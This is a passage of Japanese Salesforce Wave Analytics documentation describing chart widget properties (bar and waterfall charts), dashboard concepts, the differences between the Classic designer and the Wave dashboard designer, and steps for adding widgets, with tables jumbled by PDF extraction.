TRUEbooleanshowValues棒で表される数値を棒内に表示し
ます。

チェック
ボックス

グラフの
棒に値を
表示

FALSEbooleannormalize積み上げ縦棒グラフで、積み上げ
グループを合計のパーセントで表
示します。

チェック
ボックス

値を正規
化

fitnone、fit、
keepLabels

autoFitModeコンテナウィジェットに合わせて
グラフに適用するサイズの調整を
選択します。

ドロップ
ダウン

自動調整

• なし: 調整は行われません。
• 調整: 含まれるウィジェットに合

うまでグラフのサイズが調整さ
れます。

• 表示ラベルを保持: 表示ラベルが
表示されたままになるようにグ
ラフのサイズが調整されます。

multisync、
dual、multi

axisModeグラフに複数の基準が表示される
方法を指定します。

ドロップ
ダウン

軸モード

• 単一軸: 1 つの軸に基準を表示し
ます。

• 二軸: 最初の基準を左軸、2 番目
の基準を右軸に表示します。

• 小さい複数: 基準ごとに 1 つのグ
ラフを作成します。

TRUEbooleandimensionAxis.showAxis

meansureAxis1.showAxis

グラフに軸を表示します。X、Y

(左)、および Y (右) に使用できます。
チェック
ボックス

軸を表示

meansureAxis2.showAxis

TRUEbooleandimensionAxis.showTitle

meansureAxis1.showTitle

軸のタイトルを表示します。X、Y

(左)、および Y (右) に使用できます。
チェック
ボックス

タイトル
を表示

measureAxis2.showTitle

stringdimensionAxis.title

meansureAxis1.title

軸に付けられたタイトル。showTitle

が TRUE の場合に、X、Y (左)、Y (右)

で使用可能です。

テキスト
入力

タイトル

meansureAxis2.title
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

0number

string

measureAxis1.referenceLine

.value .label .color

指定された Y 軸の値での横線。Y (左)

および Y (右) に使用できます。
テキスト
入力、色
入力

基準線
rgb(0, 161,
224)color stringmeasureAxis2.referenceLine

.value .label .color

• 値: Y 軸の値 (数値)

• 表示ラベル: 線に表示されるテキ
スト

• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数
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滝グラフ
滝グラフを使用して、連続して取り込まれた正または負の値の累積影響を値の合計の詳細と共に表示します。
「飛行レンガ」グラフや「マリオ」グラフとも呼ばれます。値の合計の詳細を含めるには、積み上げ滝グラフ
を使用します。滝グラフは、Wave ダッシュボードデザイナおよび Classic デザイナで使用できます。

滝グラフのプロパティ
滝グラフは、Wave ダッシュボードデザイナで、プロパティを使用して設定されます。これらのプロパティに
は、同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

TRUEbooleancomputeTotal総計を表す棒を計算して、滝グラ
フの最後に表示します。

チェック
ボックス

合計を計
算

TRUEbooleanshowValues棒で表される数値を棒内に表示し
ます。

チェック
ボックス

グラフの
棒に値を
表示

#0BA976色入力positiveColor正の値を示す色です。積み上げ滝
グラフでは使用できません。

カラー
ピッカー

色 (正)

#E41E42色入力negative.Color負の値を示す色です。積み上げ滝
グラフでは使用できません。

カラー
ピッカー

色 (負)

#1674D9色入力startColor開始値を示す色です。積み上げ滝
グラフでは使用できません。

カラー
ピッカー

色 (開始)

#1674D9色入力totalColor総計を示す色です。積み上げ滝グ
ラフでは使用できません。

カラー
ピッカー

色 (合計)

TRUEbooleandimensionAxis.showAxis

meansureAxis1.showAxis

グラフに軸を表示します。チェック
ボックス

軸を表示
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleandimensionAxis.showTitle

meansureAxis1.showTitle

軸のタイトルを表示します。チェック
ボックス

タイトル
を表示

stringdimensionAxis.title

meansureAxis1.title

各軸に指定されたタイトルです。
値が指定されていない場合は、グ
ラフで自動的に名前が生成されま
す。

テキスト
入力

タイトル

TRUEbooleanlegend.showグラフの凡例を表示します。積み
上げ滝グラフでのみ使用可能です。

チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。積み上げ滝グラフでのみ使
用可能です。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。積み上げ滝グラフ
でのみ使用可能です。

right-topright-top、
bottom-center、

legend.position凡例の位置を設定します。積み上
げ滝グラフでのみ使用可能です。

ドロップ
ダウン

位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数
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Wave ダッシュボードの構築
ビジネスの主な総計値を継続的に監視する Wave ダッシュボードを作成して、地域、商品、期間といった主要
なディメンションを基準に結果を分析します。情報を読みやすい形式に合成する対話型グラフを追加できま
す。低位のレコードの詳細を示すテーブルを追加し、列を作成して計算値を挿入できます。また、ダッシュ
ボード閲覧者が結果に着目できるように、検索条件も追加できます。
Wave には、ダッシュボードを作成するための次のデザイナがあります。
Classic デザイナ

この従来のデザイナでは、基本的なダッシュボードを作成できます。
Wave ダッシュボードデザイナ

この新しいデザイナは Classic デザイナよりも操作性が大幅に向上しており、ダッシュボードを効率的に作
成できます。

システム管理者からアクセス権が付与されたら、いずれかのデザイナを使用してダッシュボードの作成や編集
ができます。Classic デザイナで作成されたダッシュボードをWave ダッシュボードデザイナに変換することもで
きます。

ダッシュボードとは?

Wave ダッシュボードは、連動してさまざまな角度からデータのストーリーを語るウィジェットのコレク
ションです。ダッシュボードに何を表示し、どのように動作させるかに応じて、重要業績評価指標、グラ
フ、テーブル、検索条件、画像など、さまざまなウィジェットを追加できます。
Classic デザイナと Wave ダッシュボードデザイナの主な相違点
Classic デザイナと Wave ダッシュボードデザイナには次の相違点があります。
Wave ダッシュボードデザイナを使用したダッシュボードの作成
Wave ダッシュボードデザイナは、よりすばやく簡単にダッシュボードを作成できる追加機能が備えられた
新しいデザイナです。テンプレートを使用して、定義済みのレイアウトでダッシュボードを作成します。
携帯電話、タブレット、デスクトップなど、さまざまな種別のデバイスでダッシュボードが最適に表示さ
れるようにカスタマイズしたレイアウトを作成します。すばやくウィジェットを作成するにはウィザード
を使用します。ドラッグアンドドロップ、グリッドへのスナップ、ブラウザリフローを使用して、ダッシュ
ボードで容易にウィジェットの追加、配置、位置合わせができます。
Classic デザイナを使用したダッシュボードの作成
Classic デザイナは、基本的な Wave ダッシュボードを作成できる従来のデザイナです。
Wave ダッシュボードおよびレンズのキーボードショートカット
キーボードから、いくつかの基本的なアクションを実行できます。ダッシュボードデザイナのショートカッ
トは、Classic デザイナを使用しているか、Wave ダッシュボードデザイナを使用しているかによって異なり
ます。
Wave ダッシュボードの作成のベストプラクティス
ベストプラクティスに従って、便利で効果的ながら、改変の必要が最小限で、データが欠損した場合の空
白にも対処する Wave ダッシュボードを設計して作成します。
ダッシュボードの Wave ダッシュボードデザイナへの変換
新機能を利用するために、Classic デザイナで作成されたダッシュボードを Wave ダッシュボードデザイナに
変換します。
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ダッシュボードとは?
Wave ダッシュボードは、連動してさまざまな角度からデータのストーリーを語るウィジェットのコレクショ
ンです。ダッシュボードに何を表示し、どのように動作させるかに応じて、重要業績評価指標、グラフ、テー
ブル、検索条件、画像など、さまざまなウィジェットを追加できます。
Wave Analyticsデータをダッシュボード経由で共有すると、データセット全体を解放せずに利用者自身が探索を
実行できるようになります。
ダッシュボードの用途の 1 つは、利用者の焦点を絞り込むことです。データセットには、大量のデータが含ま
れる可能性があります。そのデータの中には、利用者の特定の質問に関連性があるものもあれば、関連性のな
い不要なデータもあります。ある質問のセットにとっては重要なデータでも、別の質問のセットに関しては不
要な場合があります。
ダッシュボードと呼ばれていますが、実際、このインターフェースには、従来の自動車のダッシュボードより
もはるかに多くの機能が搭載されています。このダッシュボードは、何が変更されたかを伝えるだけではな
く、基本データまで深く掘り下げるようにユーザを導きます。自動車のスピードメーターが単に走行速度を伝
えるだけでなく、移動中のさまざまな地点で速度がどう変化したか、これから先の交通状況がどのように変化
するか、それらの変化が到着時刻にどう影響するかを教えてくれるようなものです。

Wave ダッシュボードの主要な要素
ダッシュボードは、参照するだけのものではありません。会社にとって重要な 1 つ以上のデータセットに
基づいて、話し合いを続けるためのものです。画像を参照するだけではなく、ダッシュボードの各ツール
を使用して関心のあるデータを深く掘り下げてください。さまざまな場所をクリックして探索してみましょ
う。

関連トピック:

Wave ダッシュボードデザイナを使用したダッシュボードの作成
Classic デザイナを使用したダッシュボードの作成

Wave ダッシュボードの主要な要素
ダッシュボードは、参照するだけのものではありません。会社にとって重要な 1 つ以上のデータセットに基づ
いて、話し合いを続けるためのものです。画像を参照するだけではなく、ダッシュボードの各ツールを使用し
て関心のあるデータを深く掘り下げてください。さまざまな場所をクリックして探索してみましょう。
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Salesforce Waveダッシュボードを対話型で参照するには、表示されている要素をクリックします。すべての要素
は、条件が設定されたライブデータベースクエリが視覚的に表現されたものです。
選択条件

選択条件を使用すると、関心のある特定の値に基づいて絞り込むことができます。たとえば、範囲セレク
タに最大スライダと最小スライダを設定して、ダッシュボードに特定の範囲に該当する金額のみを表示し
ます。スライダを設定した場合に、ページ上のグラフと数値がどう変化するかを確認してみましょう。選
択条件は多くの場合、互いに関連付けられているため、徐々に深くドリルダウンできます。たとえば、あ
る条件を使用して商品の売上を確認します。続いて、次の条件を使用してその売上を地域で絞り込みます。
最後に、別の条件を使用して営業地域を取引先で絞り込みます。リスト、切り替え、日付、範囲など、選
択条件にはさまざまな種類があります。

重要業績評価指標
情報の中には単一の数値による測定が最も適しているものがあり、これを重要業績評価指標ともいいます。
一部の数値要素は、グラフや条件での選択に基づいて絞り込むことができます。たとえば、個々の営業担
当のパイプラインを示す棒グラフである棒をクリックすると、特定のユーザのパイプラインに焦点を当て
て確認できます。表示される数値が、営業担当全員の合計値から選択したユーザの値に変化します。

グラフ
多種多様なグラフには、複数の観点からのデータが表示されます。グラフの多くの部分は対話型です。た
とえば、棒グラフの棒をクリックしてどうなるか見てみましょう。棒をクリックすることで、棒グラフで
表されるクエリが絞り込まれます。この操作で、このグラフの他の値、他のグラフの値、および数値の表
示が変更されます。

テーブル
テーブルにはレコードレベルの詳細が示されます。たとえば、グラフには各地域のパフォーマンスサマリー
を示すことができる一方で、テーブルには商談固有の詳細を示すことができます。テーブルを並び替えて、
上位と下位のレコードを示すこともできます。また、テービルに計算列を作成し、既存のデータに基づい
て値を計算できます。
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Classic デザイナと Wave ダッシュボードデザイナの主な相違点
Classic デザイナと Wave ダッシュボードデザイナには次の相違点があります。
• Wave ダッシュボードデザイナは、各種のデバイス向けのレイアウトを作成するためのユーザインターフェー

スを備えています。Classic デザイナでは、ダッシュボード JSON を使用してモバイルレイアウトを設定する
必要があります。

• Wave ダッシュボードデザイナには、バックグラウンドで作成される基本的なステップを設定したウィジェッ
トを作成するためのウィザードが用意されています。Classic デザイナの場合は、エクスプローラでレンズを
手動で作成してクリップし、ウィジェットに適用する必要があります。Wave ダッシュボードデザイナの
「ステップ」はClassic デザイナの「レンズ」と同じです。

• Wave ダッシュボードデザイナでは、グリッドへのスナップ機能を使用して、ウィジェットの配置、位置合
わせ、サイズ変更をすばやく行うことができます。Classic デザイナでは、ピクセルを指定して各ウィジェッ
トの位置やサイズを定義します。

• Wave ダッシュボードデザイナ内でステップ (静的ステップを含む) を作成できます。Classic デザイナの場合
は、レンズをエクスプローラからデザイナにクリップするか、JSON を使用してステップを作成する必要が
あります。

• Wave ダッシュボードデザイナでは、ダッシュボードの設計時に、ステップやプロパティを非表示にして
ワークスペースを広げることができます。Classic デザイナではこうしたことができません。

• Wave ダッシュボードデザイナでは 1 つのテーブルウィジェットで値テーブルや比較テーブルが作成できま
す。Classic デザイナには、テーブルの種別ごとに個別のウィジェットがあります。

• Wave ダッシュボードデザイナのコンテナウィジェットは、Classic デザイナのボックスウィジェットとは異
なり、ウィジェットをグループ化して、まとめて移動することができます。

• アノテーションおよび通知はWave ダッシュボードデザイナで作成されたダッシュボードでのみサポートさ
れています。

• 平行座標、横方向のドットプロット、縦方向のドットプロット、マトリックスのグラフの種類はエクスプ
ローラや Classic デザイナでのみサポートされています。これらのグラフの種類を Wave ダッシュボードデザ
イナにクリップすると、棒グラフに変換されます。

関連トピック:

Wave ダッシュボードデザイナを使用したダッシュボードの作成
Classic デザイナを使用したダッシュボードの作成
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Wave ダッシュボードデザイナを使用したダッシュボードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

Wave ダッシュボードデザイナは、よりすばやく簡単にダッシュボードを作成で
きる追加機能が備えられた新しいデザイナです。テンプレートを使用して、定
義済みのレイアウトでダッシュボードを作成します。携帯電話、タブレット、
デスクトップなど、さまざまな種別のデバイスでダッシュボードが最適に表示
されるようにカスタマイズしたレイアウトを作成します。すばやくウィジェッ
トを作成するにはウィザードを使用します。ドラッグアンドドロップ、グリッ
ドへのスナップ、ブラウザリフローを使用して、ダッシュボードで容易にウィ
ジェットの追加、配置、位置合わせができます。
Wave ダッシュボードデザイナは、デフォルトで有効になっています。アクセス
できない場合は、システム管理者が無効にしている可能性があります。

1. Wave ダッシュボードデザイナでのダッシュボードの作成
定義済みのレイアウトテンプレートを使用してダッシュボードを作成できま
す。定義済みのテンプレートには、空のウィジェット (ステップが設定されていないウィジェット)、セク
ション、配色が用意されています。独自のレイアウトを作成する場合は、空白のテンプレートを選択しま
す。

2. ダッシュボードへのウィジェットの追加
ウィジェットは、ダッシュボードの基本構成要素です。Wave ダッシュボードデザイナでは、重要業績評価
指標の計算、ダッシュボードの結果の絞り込み、対話型グラフを使用したデータの視覚化、レコードレベ
ルの詳細のテーブル表示などの機能を実行できるさまざまなウィジェットを追加できます。

3. ファセットまたはバインドを使用したウィジェットのインタラクティブ化
Wave ダッシュボードには、ウィジェットをインタラクティブにできる独自の機能があります。たとえば、
リストウィジェットで領域を選択すると、ダッシュボードの他のウィジェットが絞り込まれ、その領域の
結果のみが表示されます。

4. ダッシュボードの初期検索条件選択の設定
Wave ダッシュボードに検索条件選択ウィジェットまたはグラフが含まれている場合、ダッシュボードを初
めて開いたときに適用される初期検索条件を設定できます。たとえば、ダッシュボードを絞り込んでログ
インユーザが所有する商談のみを表示できます。ユーザはダッシュボードの表示中に、選択を変更して、
結果を異なる方法で絞り込むことや、検索条件をまとめて削除することができます。
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5. 各種のデバイス固有の Wave ダッシュボードレイアウトの生成
ウィジェットをダッシュボードに追加したら、ダッシュボードを表示可能な各デバイスのレイアウトを最
適化します。たとえば、携帯電話のレイアウトからウィジェットを削除して、小型画面向けにダッシュボー
ドのサイズを縮小することができます。また、1 つのレイアウト上でウィジェットをあちこち動かすことが
でき、他のレイアウトに影響することもありません。

関連トピック:

ダッシュボードとは?

Wave ダッシュボードの作成のベストプラクティス
Classic デザイナと Wave ダッシュボードデザイナの主な相違点
ユーザに対する Wave ダッシュボードデザイナおよび Classic デザイナへのアクセス権の付与
Classic デザイナを使用したダッシュボードの作成

Wave ダッシュボードデザイナでのダッシュボードの作成

ユーザ権限

ダッシュボードを作成す
る
• 「Wave Analytics ダッ

シュボードの作成およ
び編集」

定義済みのレイアウトテンプレートを使用してダッシュボードを作成できます。
定義済みのテンプレートには、空のウィジェット (ステップが設定されていない
ウィジェット)、セクション、配色が用意されています。独自のレイアウトを作
成する場合は、空白のテンプレートを選択します。
1. ホームページから、[作成] > [ダッシュボード] を選択します。

2. テンプレートを選択して、[続行] をクリックします。
たとえば、[Wave ダッシュボードデザイナの空白のダッシュボード] を選択します。
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空白のテンプレート以外に、ダッシュボードが事前設計されたテンプレートを選択することもできます。
これらのダッシュボードは、Wave ダッシュボードデザイナ専用に作成されています。事前作成されたテン
プレートには、空のウィジェット、セクション、配色が用意されています。

3. ダッシュボードを編集するには、 をクリックします。
4. 事前作成されたテンプレートを選択した場合、空のウィジェット内のアイコンをクリックすると、各ウィ

ジェットにステップを追加できます。ウィザードの手順に従ってステップを追加していきます。
ウィザードを完了後、ステップの結果に基づいて Wave によってウィジェットにデータが入力されます。ま
た、ステップパネルにもステップが追加されます。

5. ダッシュボードをアプリケーションに保存するには、 をクリックします。
6. タイトルと説明を入力して、ダッシュボードを保存するアプリケーションを選択します。

アプリケーションの権限により、各ユーザのダッシュボードへのアクセス権が決まります。適切なユーザ
にダッシュボードへの適切なアクセス権があることを確認するには、アプリケーション権限を確認します。

7. [保存] をクリックします。
8. をクリックし、[プロパティ] をクリックしてウィジェットのデフォルトプロパティを設定します。

ウィジェットを作成するときに、ウィジェットでデフォルトプロパティを使用するかどうかを指定できま
す。デフォルトを使用すると、すべてのウィジェットの背景と境界線が統一されます。

ダッシュボードのプロパティ
これらのプロパティは、ウィジェットのデフォルトプロパティであり、各ウィジェットに適用すると見た
目を統一できます。プロパティは、Wave ダッシュボードデザイナで作成されたダッシュボードのみに適用
されます。
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ダッシュボードのプロパティ
これらのプロパティは、ウィジェットのデフォルトプロパティであり、各ウィジェットに適用すると見た目を
統一できます。プロパティは、Wave ダッシュボードデザイナで作成されたダッシュボードのみに適用されま
す。

説明プロパティ

ウィジェットのデフォルトの背景色背景色

ウィジェットの周囲のデフォルトの境界線境界線

ウィジェットの境界線のデフォルトの色境界線の色

ウィジェットの境界線のデフォルトの幅 (ピクセル単
位)

境界線の幅

ウィジェットの境界線の角部の丸み境界線の半径

ダッシュボードへのウィジェットの追加
ウィジェットは、ダッシュボードの基本構成要素です。Wave ダッシュボードデザイナでは、重要業績評価指
標の計算、ダッシュボードの結果の絞り込み、対話型グラフを使用したデータの視覚化、レコードレベルの詳
細のテーブル表示などの機能を実行できるさまざまなウィジェットを追加できます。
一部のウィジェットはステップを必要とします。ステップはデータを返します。ウィジェットはデータの使用
方法や表示方法を決定します。たとえば、ステップで商談金額の平均を地域ごとに計算するとします。棒グラ
フウィジェットにその結果が棒グラフで表示され、それぞれの棒に各地域の金額の平均が示されます。ステッ
プがファセットされている場合は、グラフの棒を選択すると、他のウィジェットが絞り込まれ、選択した地域
の結果のみが表示されます。
ほとんどのウィジェッにも、ウィジェット (ソースステップを含む) を作成するためのウィザードがあります。
また、独自のステップを作成してウィジェットに適用することもできます。複数のウィジェットで同じステッ
プを使用できます。ただし、日付ウィジェットと範囲ウィジェットはこの例外で、他のウィジェットがステッ
プを使用することはできません。
ウィジェットをコピーして、類似するデザインのコンポーネントを Wave ダッシュボードに作成します。たと
えば、グラフウィジェットをコピーしてグラフの種類を変更し、同じ結果の異なるビューを表示できます。ま
た、3 つの数値ウィジェットをすばやく作成し、進行中の商談金額の合計、成立した商談金額の合計、不成立
の商談金額の合計を表示するように各ステップを置き換えることもできます。ステップを置き換えるには、
ウィジェットからステップを削除し、新しいステップを追加します。ウィジェットのコピー、ステップの削
除、ステップのコピー、ステップのプロパティの表示を行うには、ダッシュボードの編集中にウィジェットを
選択して適切なボタンをクリックします。
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ウィジェットの表示方法を設定するには、[ウィジェット] タブでプロパティを設定します。たとえば、グラフ
ウィジェットのデータ値と軸のタイトルを表示できます。また、デフォルトのウィジェットプロパティを適用
すると、同じ境界線や背景色が設定され、ウィジェットの見た目を統一できます。
ウィジェットがどのように動作するかを設定するには、[ステップ] タブでステップのプロパティを設定しま
す。たとえば、ステップに複数の基準がある場合、ウィジェットにどの基準を表示するかを選択できます。ス
テップのプロパティを変更すると、そのステップに作成されたすべてのウィジェットに影響します。

数値ウィジェットの追加による主要な総計値の追加
主要な総計値を使用すると、ビジネスの重要な測定値を追跡できます。他のウィジェットをWaveダッシュ
ボードに追加して、主要な総計値の結果を絞り込み、特定の領域に焦点を当てることできます。たとえば、
前四半期や北部の地域のオープンケースの合計数または商談金額の合計を表示できます。
グラフウィジェットを追加してデータを視覚化
Waveダッシュボードのグラフでは、データを視覚的に要約およびトレンド分析できます。たとえば、ドー
ナツグラフに業種別の商談分布を示すことができます。グラフは対話型のため、ダッシュボード閲覧者が
グラフの区分を選択して、ファセットされた他のウィジェットの結果を絞り込むことができます。
グローバル検索条件ウィジェットの追加によるデータセットレコードのダッシュボードからの除外
グローバル検索条件は、Wave ダッシュボードを閲覧するすべてのユーザに表示されるコンテンツを制限し
ます。たとえば、グローバル検索条件を作成して、ダッシュボードに自分のチームに属するケースのみを
表示できます。各ウィジェットに対してグローバル検索条件を適用するかどうかを指定できます。検索条
件選択ウィジェットとは異なり、グローバル検索条件はダッシュボードのプレビュー中または表示中には
変更できません。
ユーザが結果を絞り込むことができる検索条件選択ウィジェットの追加
ダッシュボード閲覧者がこれらのウィジェットのいずれかで選択を行うと、Wave はファセットおよびバイ
ンドされた他のウィジェットの結果を絞り込みます。たとえば、ダッシュボード閲覧者はリストウィジェッ
トで地域を選択して、ダッシュボード結果を特定の営業の場所に絞り込むことができます。グローバル検
索条件またはクエリ検索条件とは異なり、閲覧者は選択を変更して、異なる検索条件で結果を絞り込んだ
り、検索条件を完全に削除したりできます。
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テーブルウィジェットの追加によるレコード詳細の表示と計算列の作成
Wave ダッシュボードのさまざまなテーブル種別を追加できます。レコードレベルの詳細を表示するには、
値テーブルを追加します。たとえば、このテーブル種別では、ケースがオープンになっている期間や所有
者などのケースの詳細を表示できます。既存の項目の計算に基づいてテーブルのカスタム列を作成するに
は、比較テーブルを追加します。ソースステップに少なくとも 1 つのグルーピングが含まれている場合、
ピボットテーブルを作成できます。
コンテナウィジェットの追加によるダッシュボードのセクションの作成
Wave ダッシュボードのセクションは、関連するウィジェットをグループ化するために使用します。たとえ
ば、コンテナウィジェットを使用してダッシュボードの左側に検索条件パネルを作成し、すべての検索条
件選択ウィジェットを格納できます。検索条件パネルをダッシュボードの他の部分から区別するために、
コンテナに背景色と境界線を適用できます。コンテナを移動すると、コンテナに含まれたウィジェットも
スペースや配置を維持したままで移動します。
画像ウィジェットの追加によるダッシュボードでのグラフィックの表示
Wave ダッシュボードをブランド設定する会社のロゴ、結果を分類するアイコン、またはダッシュボードを
アニメーションさせるグラフィックを含めることができます。
テキストウィジェットの追加によるダッシュボードの一部へのラベル付け
Wave ダッシュボードに表示ラベルを付けることによって、ユーザは何が表示されているかを理解できま
す。ダッシュボードを説明するテキストや、ウィジェットの使用に関する情報を提供するテキストも追加
できます。
リンクウィジェットの追加による Wave レンズやダッシュボードへのリンク付け
考えられるすべての主要業績指標、グラフ、およびテーブルを 1 つのダッシュボードに詰め込むのではな
く、コンテンツを複数のダッシュボードに分割し、リンクウィジェットを使用してダッシュボードを 1 つ
にまとめることで、ダッシュボード閲覧者は、乱雑なダッシュボードで何に注目すればよいか悩む必要が
なくなります。また、リンクを使用してユーザが辿れる分析パスを作成したり、関連するアセットをリン
クしたりすることもできます。
Wave ダッシュボードデザイナでのステップの作成
探索からレンズをクリップすることのほか、Wave ダッシュボードデザイナでステップを作成することがで
きます。ステップは、ウィザードの使用と手動の 2 種類の方法で作成できます。
Wave ダッシュボードのウィジェットのプロパティ
ウィジェットのプロパティは、ウィジェットが Wave ダッシュボードにどのように表示されるかを定義しま
す。たとえば、表示ラベル、背景、境界線を適用できます。ウィジェットの外観を統一するには、レイア
ウトにデフォルトのウィジェットプロパティを設定して、各ウィジェットに割り当てます。ウィジェット
プロパティは、ウィジェットタイプやウィジェットの作成に使用するデザイナによって異なります。ここ
にリストするプロパティは、Wave ダッシュボードデザイナで作成されたウィジェットのみに適用されま
す。
Wave ダッシュボードのステップのプロパティ
ステップのプロパティは、ウィジェットに表示される結果を返すクエリを定義します。また、Wave ダッ
シュボードでウィジェットがどのように動作し、他のウィジェットとどのように連動するかも指定します。
プロパティは、Wave ダッシュボードデザイナで作成されたダッシュボードのみに適用されます。
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数値ウィジェットの追加による主要な総計値の追加
主要な総計値を使用すると、ビジネスの重要な測定値を追跡できます。他のウィジェットをWaveダッシュボー
ドに追加して、主要な総計値の結果を絞り込み、特定の領域に焦点を当てることできます。たとえば、前四半
期や北部の地域のオープンケースの合計数または商談金額の合計を表示できます。
数値ウィジェットには、1 つ以上の基準を含むステップが必要です。ステップに複数の基準がある場合には、
どの基準を表示するかを選択できます。デフォルトでは、最初の基準が表示されます。グルーピングを含める
場合は、ウィジェットには最初に定義されたグルーピングの最初のグループの基準が表示されます。
1. 数値ウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。

b. 基準を含むデータセットを選択します。データセットを見つけるのが難しい場合は、検索ボックスに入
力します。
エクスプローラに棒グラフが表示され、[行数] 基準が示されます。

c. ウィジェットに表示する基準を追加します。

基準を追加するには、 をクリックします。基準を変更するには、エクスプローラで基準を
選択して、新しい基準を選択します。

d. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。
複数の検索条件を追加できます。
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e. [保存] をクリックします。
Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるよ
うにします。さらに、ウィジェットには計算された基準が表示されます。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
7. ダッシュボードへの変更をプレビューするには、 をクリックします。
8. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成
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グラフウィジェットを追加してデータを視覚化
Wave ダッシュボードのグラフでは、データを視覚的に要約およびトレンド分析できます。たとえば、ドーナ
ツグラフに業種別の商談分布を示すことができます。グラフは対話型のため、ダッシュボード閲覧者がグラフ
の区分を選択して、ファセットされた他のウィジェットの結果を絞り込むことができます。
Wave では複数の種類のグラフがサポートされています。種類ごとに独自のウィジェットプロパティとステッ
プ要件が設定されています。各種のグラフについての詳細は、「グラフによるデータの視覚化」を参照してく
ださい。

メモ: Wave ダッシュボードデザイナでは、エクスプローラやClassic デザイナとは異なり、平行座標、横方
向のドットプロット、縦方向のドットプロット、マトリックスの種類のグラフがサポートされていませ
ん。これらの種類のグラフでステップを作成することはできますが、グラフウィジェットに追加すると
きに Wave ダッシュボードデザイナによって棒グラフに変換されます。

このウィジェットで選択を行うと、ステップがファセットされた他のウィジェットの結果が絞り込まれます。
単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定など、このウィジェットのステップを
設定できます。また、ダッシュボードを開いたときに適用される初期選択も設定できます。ダッシュボードを
閲覧中に、選択を元に戻すことや、結果を異なる方法で絞り込むことができます。

メモ: このウィジェットで他のウィジェットを絞り込めるようにするには、そのステップのファセットを
有効にする必要があります。

1. グラフウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。
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b. グラフを作成するデータセットを選択します。
エクスプローラに棒グラフが表示され、[行数] 基準が示されます。

c. ウィジェットに表示する基準を追加します。

